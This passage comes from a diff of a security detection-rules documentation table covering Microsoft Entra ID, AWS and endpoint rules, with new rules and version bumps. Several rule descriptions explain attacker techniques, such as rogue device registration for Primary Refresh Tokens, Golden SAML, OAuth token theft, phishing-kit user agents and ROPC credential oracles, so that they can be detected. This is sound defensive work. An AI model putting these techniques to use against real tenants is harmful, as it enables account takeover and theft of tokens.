device naming conventions before relying on it. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Audit Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Persistence], [Resources: Investigation Guide] |None |2 -|<> |Identifies the first occurrence of a Microsoft Entra ID device, surfaced through the Entra ID Entity Analytics device inventory, whose host name follows the default "DESKTOP-" pattern and whose operating system build is `10.0.19041.928`. This combination is the default device profile that ROADtools (roadtx) uses when registering a device, and the OS build typically differs from the patched OS versions of legitimate hosts in the environment. Adversaries register rogue devices in Entra ID to acquire a Primary Refresh Token (PRT), establish persistence, and obtain trusted, programmatic access to the tenant. Because the OS build is a tool default, this is a high-fidelity but evadable indicator; baseline approved device builds and naming conventions before relying on it. |[Domain: Cloud], [Domain: Identity], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Entity Analytics], [Use Case: Asset Visibility], [Use Case: Threat Detection], [Tactic: Persistence], [Resources: Investigation Guide] |None |1 +|<> |Identifies the first occurrence of a Microsoft Entra ID device, surfaced through the Entra ID Entity Analytics device inventory, whose host name follows the default "DESKTOP-" pattern and whose operating system build is `10.0.19041.928`. This combination is the default device profile that ROADtools (roadtx) uses when registering a device, and the OS build typically differs from the patched OS versions of legitimate hosts in the environment. Adversaries register rogue devices in Entra ID to acquire a Primary Refresh Token (PRT), establish persistence, and obtain trusted, programmatic access to the tenant. Because the OS build is a tool default, this is a high-fidelity but evadable indicator; baseline approved device builds and naming conventions before relying on it. |[Domain: Cloud], [Domain: Identity], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Entity Analytics], [Use Case: Asset Visibility], [Use Case: Threat Detection], [Tactic: Persistence], [Resources: Investigation Guide] |None |2 |<> |Detects when domain federation settings are configured or modified in an Entra ID tenant via the Microsoft Graph API. Adversaries with Global Administrator or Domain Administrator privileges may add a custom domain, verify ownership, and configure it to federate authentication with an attacker-controlled identity provider. Once federated, the adversary can forge SAML or WS-Federation tokens to authenticate as any user under that domain, bypassing MFA and conditional access policies. This technique, commonly known as Golden SAML, was used by UNC2452 (APT29) during the SolarWinds campaign for persistent, stealthy access to victim tenants. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Audit Logs], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Tactic: Privilege Escalation], [Resources: Investigation Guide] |None |3 @@ -930,7 +972,7 @@ and their rule type is `machine_learning`. |<> |Identifies high risk Azure Active Directory (AD) sign-ins by leveraging Microsoft Identity Protection machine learning and heuristics. |[Domain: Cloud], [Data Source: Azure], [Use Case: Identity and Access Audit], [Resources: Investigation Guide], [Tactic: Initial Access] |None |110 -|<> |Identifies an illicit consent grant request on-behalf-of a registered Entra ID application. Adversaries may create and register an application in Microsoft Entra ID for the purpose of requesting user consent to access resources. This is accomplished by tricking a user into granting consent to the application, typically via a pre-made phishing URL. This establishes an OAuth grant that allows the malicious client applocation to access resources on-behalf-of the user. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Audit Logs], [Use Case: Identity and Access Audit], [Resources: Investigation Guide], [Tactic: Initial Access], [Tactic: Credential Access] |None |220 +|<> |Identifies an illicit consent grant request on-behalf-of a registered Entra ID application. Adversaries may create and register an application in Microsoft Entra ID for the purpose of requesting user consent to access resources. This is accomplished by tricking a user into granting consent to the application, typically via a pre-made phishing URL. This establishes an OAuth grant that allows the malicious client applocation to access resources on-behalf-of the user. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Audit Logs], [Use Case: Identity and Access Audit], [Resources: Investigation Guide], [Tactic: Initial Access], [Tactic: Credential Access] |None |221 |<> |Identifies the default user agent string associated with Kali365 (also referred to as Kali365 Live), a phishing-as-a-service (PhaaS) platform that automates OAuth 2.0 device code phishing and adversary-in-the-middle (AiTM) session capture against Microsoft 365 and Microsoft Entra ID. The Kali365 Electron desktop client identifies itself with the user agent `kali365-live/1.0.0` when polling for and replaying captured OAuth tokens, so its appearance in Entra ID sign-in logs, Entra ID audit logs, or the Microsoft 365 unified audit log indicates that an attacker-controlled Kali365 client is interacting with the tenant using stolen tokens. Unlike dual-use offensive tooling, Kali365 is a criminal service with no legitimate enterprise use, making this user agent a high-fidelity indicator of active account compromise. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-in Logs], [Data Source: Microsoft Entra ID Audit Logs], [Data Source: Microsoft 365], [Data Source: Microsoft 365 Audit Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Threat: Kali365], [Tactic: Initial Access], [Tactic: Credential Access], [Resources: Investigation Guide] |None |1 @@ -940,11 +982,13 @@ and their rule type is `machine_learning`. |<> |Detects Microsoft Entra ID sign-in activity where the Microsoft Authentication Broker requests the Device Registration Service from a source autonomous system number (ASN) associated with VPN, residential proxy, or hosting egress commonly observed in OAuth phishing and adversary-in-the-middle device registration flows. This pattern can indicate device join or primary refresh token acquisition staged from attacker-controlled infrastructure after a user completes authentication. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-In Logs], [Use Case: Threat Detection], [Tactic: Initial Access], [Tactic: Persistence], [Resources: Investigation Guide] |None |1 -|<> |Detects successful Microsoft Entra ID sign-ins where the client application is the Microsoft Authentication Broker (MAB) and the requested resource identifier is outside a short list of commonly observed first-party targets. Attackers abuse the broker in phishing and token broker flows to obtain tokens for unexpected APIs or enterprise applications. The exclusion list covers legacy Azure Active Directory, Microsoft Graph, Device Registration Service, Microsoft Intune Enrollment, extend or tune exclusions for your tenant after baselining broker traffic. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-in Logs], [Use Case: Threat Detection], [Tactic: Initial Access], [Resources: Investigation Guide] |None |1 +|<> |Detects successful Microsoft Entra ID sign-ins where the client application is the Microsoft Authentication Broker (MAB) and the requested resource identifier is outside a short list of commonly observed first-party targets. Attackers abuse the broker in phishing and token broker flows to obtain tokens for unexpected APIs or enterprise applications. The exclusion list covers legacy Azure Active Directory, Microsoft Graph, Device Registration Service, Microsoft Intune Enrollment, extend or tune exclusions for your tenant after baselining broker traffic. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-in Logs], [Use Case: Threat Detection], [Tactic: Initial Access], [Resources: Investigation Guide] |None |2 |<> |Detects Microsoft Entra ID sign-in activity where the Microsoft Authentication Broker authenticates is using a user agent that is not consistent with common browser, mobile, or Windows platform authentication clients. Adversary-in-the-middle and OAuth phishing tooling often presents scripted or relayed user agents (for example Node.js, Python, or generic HTTP libraries) while still targeting first-party resources through the broker. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-In Logs], [Use Case: Threat Detection], [Tactic: Initial Access], [Tactic: Credential Access], [Resources: Investigation Guide] |None |1 -|<> |Identifies modifications to OAuth application redirect URIs (ReplyUrls) in Entra ID. Adding an attacker-controlled redirect URI to an existing trusted application allows interception of OAuth authorization codes when users authenticate through that application's normal login flow, enabling token theft without requiring a new application registration or consent event. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Audit Logs], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Tactic: Credential Access], [Resources: Investigation Guide] |None |1 +|<> |Detects multiple Microsoft Entra ID device registrations by a single user, where three or more distinct devices are registered within a 15-minute window. A legitimate user enrolling a device produces a single "Register device" event; registering multiple distinct devices in quick succession is uncommon and is the fingerprint behavior of adversary-in-the-middle (AiTM) phishing kits and stolen-token replay tooling (for example Kali365), which mint a new Azure AD-joined device, and therefore a new Primary Refresh Token (PRT), per relay or replay attempt. Each registered device is a separate certificate-bound principal whose PRT survives user-level session revocation and password resets, so multiple registrations on a single low-privilege identity establish device-bound persistence at scale. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Audit Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Persistence], [Tactic: Initial Access], [Tactic: Credential Access], [Resources: Investigation Guide] |None |1 + +|<> |Identifies modifications to OAuth application redirect URIs (ReplyUrls) in Entra ID. Adding an attacker-controlled redirect URI to an existing trusted application allows interception of OAuth authorization codes when users authenticate through that application's normal login flow, enabling token theft without requiring a new application registration or consent event. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Audit Logs], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Tactic: Credential Access], [Resources: Investigation Guide] |None |2 |<> |Identifies the first occurrence of an OAuth 2.0 authorization code grant flow for a specific combination of client application, target resource, and user principal in Microsoft Entra ID. Developer tools like Azure CLI, Visual Studio Code, and Azure PowerShell accessing Microsoft Graph or legacy Azure AD are flagged for infrequent or first time usage by a user. Additionally, any FOCI (Family of Client IDs) application accessing the deprecated Windows Azure Active Directory for the first time is flagged since this resource is rarely accessed legitimately. This pattern is indicative of OAuth phishing attacks like ConsentFix, where attackers steal authorization codes and exchange them for tokens from attacker controlled infrastructure. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-in Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Initial Access], [Tactic: Credential Access], [Resources: Investigation Guide] |None |4 @@ -964,12 +1008,14 @@ and their rule type is `machine_learning`. |<> |Detects potentially suspicious OAuth authorization activity in Microsoft Entra ID where first-party Microsoft applications from the FOCI (Family of Client IDs) group request access to Microsoft Graph or legacy Azure AD resources. Developer tools like Azure CLI, Visual Studio Code, and Azure PowerShell accessing these resources are flagged, as they are commonly abused in phishing campaigns like ConsentFix. Additionally, any FOCI family application accessing the deprecated Windows Azure Active Directory resource is flagged since this API is rarely used legitimately and attackers target it for stealth. First-party apps are trusted by default in all tenants and cannot be blocked, making them ideal for OAuth phishing attacks. |[Domain: Cloud], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-in Logs], [Use Case: Identity and Access Audit], [Resources: Investigation Guide], [Tactic: Initial Access] |None |8 -|<> |Detects unusual resource owner password credential (ROPC) login attempts by a user principal in Microsoft Entra ID. ROPC is a legacy authentication flow that allows applications to obtain tokens by directly providing user credentials. This method is less secure and can be exploited by adversaries to gain access to user accounts without requiring multi-factor authentication (MFA), especially during enumeration or password spraying. This is a New Terms rule that identifies when user principals are involved in ROPC login attempts, not seen before in the last 10 days, indicating potential abuse or unusual activity. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-In Logs], [Use Case: Identity and Access Audit], [Tactic: Initial Access], [Resources: Investigation Guide] |None |4 +|<> |Detects unusual resource owner password credential (ROPC) login attempts by a user principal in Microsoft Entra ID. ROPC is a legacy authentication flow that allows applications to obtain tokens by directly providing user credentials. This method is less secure and can be exploited by adversaries to gain access to user accounts without requiring multi-factor authentication (MFA), especially during enumeration or password spraying. This is a New Terms rule that identifies when user principals are involved in ROPC login attempts, not seen before in the last 10 days, indicating potential abuse or unusual activity. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-In Logs], [Use Case: Identity and Access Audit], [Tactic: Initial Access], [Resources: Investigation Guide] |None |5 |<> |Identifies potential session hijacking or token replay in Microsoft Entra ID. This rule detects cases where a user signs in and subsequently accesses Microsoft Graph from a different IP address using the same session ID. This may indicate a successful OAuth phishing attack, session hijacking, or token replay attack, where an adversary has stolen a session cookie or refresh/access token and is impersonating the user from an alternate host or location. |[Domain: Cloud], [Domain: Identity], [Domain: API], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-In Logs], [Data Source: Microsoft Graph], [Data Source: Microsoft Graph Activity Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Resources: Investigation Guide], [Tactic: Defense Evasion], [Tactic: Initial Access] |None |11 |<> |Identifies rare occurrences of OAuth workflow for a user principal that is single factor authenticated, with an OAuth scope containing user_impersonation for a token issued by Entra ID. Adversaries may use this scope to gain unauthorized access to user accounts, particularly when the sign-in session status is unbound, indicating that the session is not associated with a specific device or session. This behavior is indicative of potential account compromise or unauthorized access attempts. This rule flags when this pattern is detected for a user principal that has not been seen in the last 10 days, indicating potential abuse or unusual activity. |[Domain: Cloud], [Domain: Identity], [Use Case: Threat Detection], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-In Logs], [Tactic: Initial Access], [Resources: Investigation Guide] |None |5 +|<> |Identifies the first occurrence of a Microsoft Entra ID device, surfaced through the Entra ID Entity Analytics device inventory, whose host name follows the default "DESKTOP-" pattern and whose operating system build is "10.0.19045.2006". This is the frozen default device profile observed when adversary-in-the-middle (AiTM) phishing kits such as Tycoon2FA and Kali365 register Azure AD-joined devices after capturing a victim session, in order to acquire a Primary Refresh Token (PRT) and establish persistence. The build is hardcoded by the tooling and differs from legitimate hosts: a patched Windows 10 22H2 device reports a far higher "10.0.19045." value, so a device frozen at ".2006" with a default name is a high-fidelity, though evadable, indicator. |[Domain: Cloud], [Domain: Identity], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Entity Analytics], [Use Case: Asset Visibility], [Use Case: Threat Detection], [Threat: Tycoon2FA], [Threat: Kali365], [Tactic: Persistence], [Resources: Investigation Guide] |None |1 + |<> |Detects Microsoft Entra ID sign-ins consistent with Tycoon2FA phishing-as-a-service (PhaaS) adversary-in-the-middle (AiTM) activity: the Microsoft Authentication Broker requesting tokens for Microsoft Graph or Exchange Online, or the Office web client application authenticating to itself, combined with Node.js-style user agents (node, axios, undici). Tycoon 2FA bypasses MFA by relaying authentication and capturing session material, often targeting Microsoft 365 and Gmail. Baseline legitimate automation and developer tooling before tuning. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-in Logs], [Use Case: Threat Detection], [Threat: Tycoon2FA], [Tactic: Initial Access], [Tactic: Credential Access], [Resources: Investigation Guide] |None |1 |<> |Identifies a sign-in using the Azure Active Directory PowerShell module. PowerShell for Azure Active Directory allows for managing settings from the command line, which is intended for users who are members of an admin role. |[Domain: Cloud], [Data Source: Azure], [Use Case: Identity and Access Audit], [Resources: Investigation Guide], [Tactic: Initial Access] |None |110 @@ -988,23 +1034,25 @@ and their rule type is `machine_learning`. |<> |Identifies sequence of events where a Microsoft Entra ID protection alert is followed by an attempt to register a new device by the same user principal. This behavior may indicate an adversary using a compromised account to register a device, potentially leading to unauthorized access to resources or persistence in the environment. |[Domain: Cloud], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Protection Logs], [Data Source: Microsoft Entra ID Audit Logs], [Use Case: Identity and Access Audit], [Resources: Investigation Guide], [Tactic: Persistence] |None |4 +|<> |Identifies potential OAuth client ID spoofing in Microsoft Entra ID sign-in logs. Adversaries submit fabricated or non-existent application identifiers (client IDs) in Resource Owner Password Credentials (ROPC) authentication requests to the token endpoint. Because Entra ID validates the submitted credential before rejecting the request on application resolution, the resulting error code acts as a credential- and account-validity oracle while never producing a successful sign-in. By fragmenting attempts across many fictional application identifiers, adversaries evade per-application detections, rate limiting, and application-scoped Conditional Access. This rule detects a ROPC authentication that fails with error code 700016 (application not found in the directory) where no application display name resolves, which is characteristic of a spoofed client ID used for stealthy user enumeration and password spraying. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Entra ID], [Data Source: Entra ID Sign-in Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Credential Access], [Tactic: Discovery], [Resources: Investigation Guide] |None |1 + |<> |Detects successful Microsoft Entra ID audit events for Register device where additional details indicate an Azure AD join and the recorded user agent is not one of the common native registration clients (Dsreg, DeviceRegistrationClient, or Dalvik-based Android enrollment). Legitimate Windows and standard mobile enrollment flows often present predictable user-agent strings; unexpected clients may reflect scripted registration, third-party tooling, or adversary-driven device registration used for persistence or token abuse. Baseline approved provisioning tools and MDM integrations before tuning. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Audit Logs], [Use Case: Threat Detection], [Tactic: Persistence], [Resources: Investigation Guide] |None |1 |<> |Identifies when a new service principal is added in Microsoft Entra ID. An application, hosted service, or automated tool that accesses or modifies resources needs an identity created. This identity is known as a service principal. For security reasons, it's always recommended to use service principals with automated tools rather than allowing them to log in with a user identity. |[Domain: Cloud], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Audit Logs], [Use Case: Identity and Access Audit], [Resources: Investigation Guide], [Tactic: Persistence] |None |110 |<> |Identifies when new Service Principal credentials have been added in Microsoft Entra ID. In most organizations, credentials will be added to service principals infrequently. Hijacking an application (by adding a rogue secret or certificate) with granted permissions will allow the attacker to access data that is normally protected by MFA requirements. |[Domain: Cloud], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Audit Logs], [Use Case: Identity and Access Audit], [Tactic: Persistence], [Resources: Investigation Guide] |None |110 -|<> |Identifies when a service principal authenticates using a federated identity credential for the first time in the historical window. This indicates that Entra ID validated a JWT token potentially against an external OIDC identity provider and issued an access token. While legitimate for CI/CD workflows (GitHub Actions, Azure DevOps), adversaries may abuse this by configuring rogue identity providers (BYOIDP) to authenticate as compromised applications. First-time federated credential usage for a service principal warrants investigation to determine if the external identity provider is legitimate. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-In Logs], [Use Case: Identity and Access Audit], [Tactic: Initial Access], [Tactic: Defense Evasion], [Tactic: Persistence], [Resources: Investigation Guide] |None |3 +|<> |Identifies when a service principal authenticates using a federated identity credential for the first time in the historical window. This indicates that Entra ID validated a JWT token potentially against an external OIDC identity provider and issued an access token. While legitimate for CI/CD workflows (GitHub Actions, Azure DevOps), adversaries may abuse this by configuring rogue identity providers (BYOIDP) to authenticate as compromised applications. First-time federated credential usage for a service principal warrants investigation to determine if the external identity provider is legitimate. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-In Logs], [Use Case: Identity and Access Audit], [Tactic: Initial Access], [Tactic: Defense Evasion], [Tactic: Persistence], [Resources: Investigation Guide] |None |4 |<> |Identifies Entra ID service principal sign-ins where the workload identity and source autonomous system number (ASN) together have not appeared in recent history. Attackers who obtain application secrets or tokens often authenticate from unfamiliar hosting providers, residential or VPN egress, or networks outside normal automation footprints, which can precede data access, lateral movement, or ransomware activity in the tenant. The detection emphasizes first-seen network context for non-interactive workload identities. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-In Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Initial Access], [Resources: Investigation Guide] |None |3 |<> |Identifies when an application accesses SharePoint Online or OneDrive for Business for the first time in the tenant within a specified timeframe. This detects successful OAuth phishing campaigns, illicit consent grants, or compromised third-party applications gaining initial access to file storage. Adversaries often use malicious OAuth applications or phishing techniques to gain consent from users, allowing persistent access to organizational data repositories without traditional credential theft. |[Domain: Cloud], [Domain: Identity], [Domain: Storage], [Use Case: Identity and Access Audit], [Tactic: Collection], [Tactic: Initial Access], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-in Logs], [Resources: Investigation Guide] |None |6 -|<> |Identifies potential enumeration activity using AzureHound, SharpHound, or BloodHound across Microsoft cloud services. These tools are often used by red teamers and adversaries to map users, groups, roles, applications, and access relationships within Microsoft Entra ID (Azure AD) and Microsoft 365. |[Domain: Cloud], [Data Source: Azure], [Data Source: Azure Activity Logs], [Data Source: Graph API], [Data Source: Graph API Activity Logs], [Data Source: Microsoft 365], [Data Source: Microsoft 365 Audit Logs], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Audit Logs], [Data Source: Microsoft Entra ID Sign-in Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Discovery], [Resources: Investigation Guide] |None |3 +|<> |Identifies potential enumeration activity using AzureHound, SharpHound, or BloodHound across Microsoft cloud services. These tools are often used by red teamers and adversaries to map users, groups, roles, applications, and access relationships within Microsoft Entra ID (Azure AD) and Microsoft 365. |[Domain: Cloud], [Data Source: Azure], [Data Source: Azure Activity Logs], [Data Source: Graph API], [Data Source: Graph API Activity Logs], [Data Source: Microsoft 365], [Data Source: Microsoft 365 Audit Logs], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Audit Logs], [Data Source: Microsoft Entra ID Sign-in Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Discovery], [Resources: Investigation Guide] |None |4 |<> |Identifies potential brute-force attacks targeting Microsoft 365 user accounts by analyzing failed sign-in patterns in Microsoft Entra ID Sign-In Logs. This detection focuses on a high volume of failed interactive or non-interactive authentication attempts within a short time window, often indicative of password spraying, credential stuffing, or password guessing. Adversaries may use these techniques to gain unauthorized access to Microsoft 365 services such as Exchange Online, SharePoint, or Teams. |[Domain: Cloud], [Domain: SaaS], [Domain: Identity], [Data Source: Azure], [Data Source: Entra ID], [Data Source: Entra ID Sign-in Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide] |None |111 -|<> |Identifies potential enumeration or password spraying activity using TeamFiltration tool. TeamFiltration is an open-source enumeration, password spraying and exfiltration tool designed for Entra ID and Microsoft 365. Adversaries are known to use TeamFiltration in-the-wild to enumerate users, groups, and roles, as well as to perform password spraying attacks against Microsoft Entra ID and Microsoft 365 accounts. This rule detects the use of TeamFiltration by monitoring for specific user-agent strings associated with the tool in Azure and Microsoft 365 logs. |[Domain: Cloud], [Data Source: Azure], [Data Source: Microsoft 365], [Data Source: Microsoft 365 Audit Logs], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-in Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Discovery], [Resources: Investigation Guide] |None |3 +|<> |Identifies potential enumeration or password spraying activity using TeamFiltration tool. TeamFiltration is an open-source enumeration, password spraying and exfiltration tool designed for Entra ID and Microsoft 365. Adversaries are known to use TeamFiltration in-the-wild to enumerate users, groups, and roles, as well as to perform password spraying attacks against Microsoft Entra ID and Microsoft 365 accounts. This rule detects the use of TeamFiltration by monitoring for specific user-agent strings associated with the tool in Azure and Microsoft 365 logs. |[Domain: Cloud], [Data Source: Azure], [Data Source: Microsoft 365], [Data Source: Microsoft 365 Audit Logs], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-in Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Discovery], [Resources: Investigation Guide] |None |4 |<> |Identifies the creation of a Temporary Access Pass (TAP) for an Entra ID user account. A TAP is a time-limited passcode that allows passwordless authentication and bypasses existing MFA requirements, including phishing-resistant methods. An attacker with User Administrator or Authentication Administrator privileges can issue a TAP for a target account, sign in without the current password, and register new persistent authentication methods before the TAP expires. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Audit Logs], [Use Case: Identity and Access Audit], [Tactic: Initial Access], [Tactic: Lateral Movement], [Resources: Investigation Guide] |None |1 @@ -1016,6 +1064,8 @@ and their rule type is `machine_learning`. |<> |Identifies suspicious activity reported by users in Microsoft Entra ID where users have reported suspicious activity related to their accounts, which may indicate potential compromise or unauthorized access attempts. Reported suspicious activity typically occurs during the authentication process and may involve various authentication methods, such as password resets, account recovery, or multi-factor authentication challenges. Adversaries may attempt to exploit user accounts by leveraging social engineering techniques or other methods to gain unauthorized access to sensitive information or resources. |[Domain: Cloud], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Audit Logs], [Use Case: Identity and Access Audit], [Resources: Investigation Guide], [Tactic: Initial Access] |None |6 +|<> |Detects a successful sign-in by a Member user principal through a legacy authentication client (such as Authenticated SMTP, IMAP4, POP3, Exchange ActiveSync, Exchange Web Services, or other basic-authentication clients) in Microsoft Entra ID, where the user principal has not been seen using a legacy client in the last 7 days. Legacy authentication clients rely on basic authentication, do not support modern authentication or interactive multi-factor authentication, and are frequently abused by adversaries for password spraying and account takeover because they translate into single-factor Resource Owner Password Credentials (ROPC) grants. This is a New Terms rule that surfaces the first occurrence of legacy client authentication for a given user, which is unusual in most modern environments. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-In Logs], [Use Case: Identity and Access Audit], [Tactic: Initial Access], [Tactic: Defense Evasion], [Resources: Investigation Guide] |None |1 + |<> |Identifies potential brute-force attacks targeting user accounts by analyzing failed sign-in patterns in Microsoft Entra ID Sign-In Logs. This detection focuses on a high volume of failed interactive or non-interactive authentication attempts within a short time window, often indicative of password spraying, credential stuffing, or password guessing. Adversaries may use these techniques to gain unauthorized access to applications integrated with Entra ID or to compromise valid user accounts. |[Domain: Cloud], [Domain: Identity], [Data Source: Azure], [Data Source: Entra ID], [Data Source: Entra ID Sign-in Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Credential Access], [Resources: Investigation Guide] |None |9 |<> |Identifies rare instances of authentication requirements for Azure Entra ID principal users. An adversary with stolen credentials may attempt to authenticate with unusual authentication requirements, which is a rare event and may indicate an attempt to bypass conditional access policies (CAP) and multi-factor authentication (MFA) requirements. The authentication requirements specified may not be commonly used by the user based on their historical sign-in activity. |[Domain: Cloud], [Data Source: Azure], [Data Source: Microsoft Entra ID], [Data Source: Microsoft Entra ID Sign-in Logs], [Use Case: Identity and Access Audit], [Use Case: Threat Detection], [Tactic: Initial Access], [Resources: Investigation Guide] |None |8 @@ -1038,7 +1088,7 @@ and their rule type is `machine_learning`. |<> |Identifies the execution of macOS built-in commands related to account or group enumeration. Adversaries may use account and group information to orient themselves before deciding how to act. |[Domain: Endpoint], [OS: macOS], [Use Case: Threat Detection], [Tactic: Discovery], [Data Source: Elastic Defend], [Resources: Investigation Guide] |None |213 -|<> |Identifies a high-volume of AWS S3 objects stored in a bucket using using Server-Side Encryption with Customer-Provided Keys (SSE-C). Adversaries with compromised AWS credentials can encrypt objects in an S3 bucket using their own encryption keys, rendering the objects unreadable or recoverable without the key. This can be used as a form of ransomware to extort the bucket owner for the decryption key. This is a Threshold rule that triggers when this behavior is observed multiple times for a specific bucket in a short time-window. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS S3], [Resources: Investigation Guide], [Use Case: Threat Detection], [Tactic: Impact] |None |6 +|<> |Identifies a high-volume of AWS S3 objects stored in a bucket using using Server-Side Encryption with Customer-Provided Keys (SSE-C). Adversaries with compromised AWS credentials can encrypt objects in an S3 bucket using their own encryption keys, rendering the objects unreadable or recoverable without the key. This can be used as a form of ransomware to extort the bucket owner for the decryption key. This is a Threshold rule that triggers when this behavior is observed multiple times for a specific bucket in a short time-window. |[Domain: Cloud], [Data Source: AWS], [Data Source: Amazon Web Services], [Data Source: AWS S3], [Resources: Investigation Guide], [Use Case: Threat Detection], [Tactic: Impact] |None |7 |<> |Detects PowerShell script block content that creates Exchange mailbox export requests via New-MailboxExportRequest, commonly writing PST files. Adversaries can abuse export requests to collect and stage email content for exfiltration. |[Domain: Endpoint], [OS: Windows], [Use Case: Threat Detection], [Tactic: Collection], [Resources: Investigation Guide], [Data Source: PowerShell Logs] |None |215 @@ -1110,7 +1160,7 @@ and their rule type is `machine_learning`. |<> |This rule detects the creation of files in the /var/log/ directory via process executables located in world-writeable locations or via hidden processes. Attackers may attempt to hide their activities by creating files in the /var/log/ directory, which is commonly used for logging system events. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Tactic: Execution], [Tactic: Persistence], [Data Source: Elastic Defend], [Data Source: SentinelOne], [Data Source: Elastic Endgame], [Resources: Investigation Guide] |None |5 -|<> |This rule detects the creation of files in world-writable directories by an unusual process. Attackers may attempt to hide their activities by creating files in world-writable directories, which are commonly used for temporary file storage. This behavior is often associated with lateral movement and can be an indicator of an attacker attempting to move laterally within a network. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |2 +|<> |This rule detects the creation of files in world-writable directories by an unusual process. Attackers may attempt to hide their activities by creating files in world-writable directories, which are commonly used for temporary file storage. This behavior is often associated with lateral movement and can be an indicator of an attacker attempting to move laterally within a network. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat Detection], [Tactic: Defense Evasion], [Data Source: Elastic Defend], [Data Source: Elastic Endgame], [Data Source: SentinelOne], [Resources: Investigation Guide] |None |3 |<> |This rule monitors for the creation of a file, followed by its execution and self-deletion in a short timespan within a directory often used for malicious purposes by threat actors. This behavior is often used by malware to execute malicious code and delete itself to hide its tracks. |[Domain: Endpoint], [OS: Linux], [Use Case: Threat 